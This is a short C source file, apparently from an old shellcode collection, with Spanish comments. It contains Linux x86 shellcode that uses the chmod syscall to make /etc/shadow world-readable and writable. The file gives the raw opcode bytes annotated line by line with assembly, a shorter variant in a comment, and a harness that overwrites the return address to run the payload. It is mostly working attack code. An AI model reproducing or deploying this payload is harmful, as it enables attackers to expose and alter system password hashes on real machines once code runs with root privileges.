/* * s0t4ipv6@shellcode.com.ar * 0x04abril0x7d2 * * int sys_chmod(const char * filename, mode_t mode) * {...} * * Utilizando la interrupcion 15(chmod), asignando el octal 0666 * al archivo deseado. En este caso /etc/shadow * * Hice unas modificaciones en el codigo y solo pude reducir la shellcode en 1. * por el codigo mailme. * "\x31\xdb\x68\x64\x6f\x77\x53\x68\x2f\x73\x68\x61\x68\x2f\x65" * "\x74\x63\x89\xe3\x31\xc9\x88\x4c\x24\x0b\x66\xb9\xb6\x01\x31" * "\xc0\xb0\x0f\xcd\x80\x31\xc0\x40\xcd\x80"; * */ #include <stdio.h> // Shellcode // Asm Code // Main Interval char shellcode[]= "\xeb\x17" // jmp 0x17 [3 ; 4] "\x5e" // popl %esia [5] "\x31\xc9" // xorl %ecx, %ecx [6 ; 7] "\x88\x4e\x0b" // movb %ecx, 0xb(%esi) [8; 10] "\x8d\x1e" // leal (%esi), %ebx [11;12] "\x66\xb9\xb6\x01" // movw $0x1b6, %cx // asigno a cx el equivalente en hex al octal 0666 "\x31\xc0" // xorl %eax, %eax [17;18] "\xb0\x0f" // movb $0xf, %al // Interrupcion 15 (chmod) "\xcd\x80" // int $0x80 [21;22] "\x31\xc0" // xorl %eax, %eax // salida "\x40" // inc %eax [25] "\xcd\x80" // int $0x80 [26;27] "\xe8\xe4\xff\xff\xff" // call -0x1c "/etc/shadow"; main() { int *ret; ret=(int *)&ret+2; printf("Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; }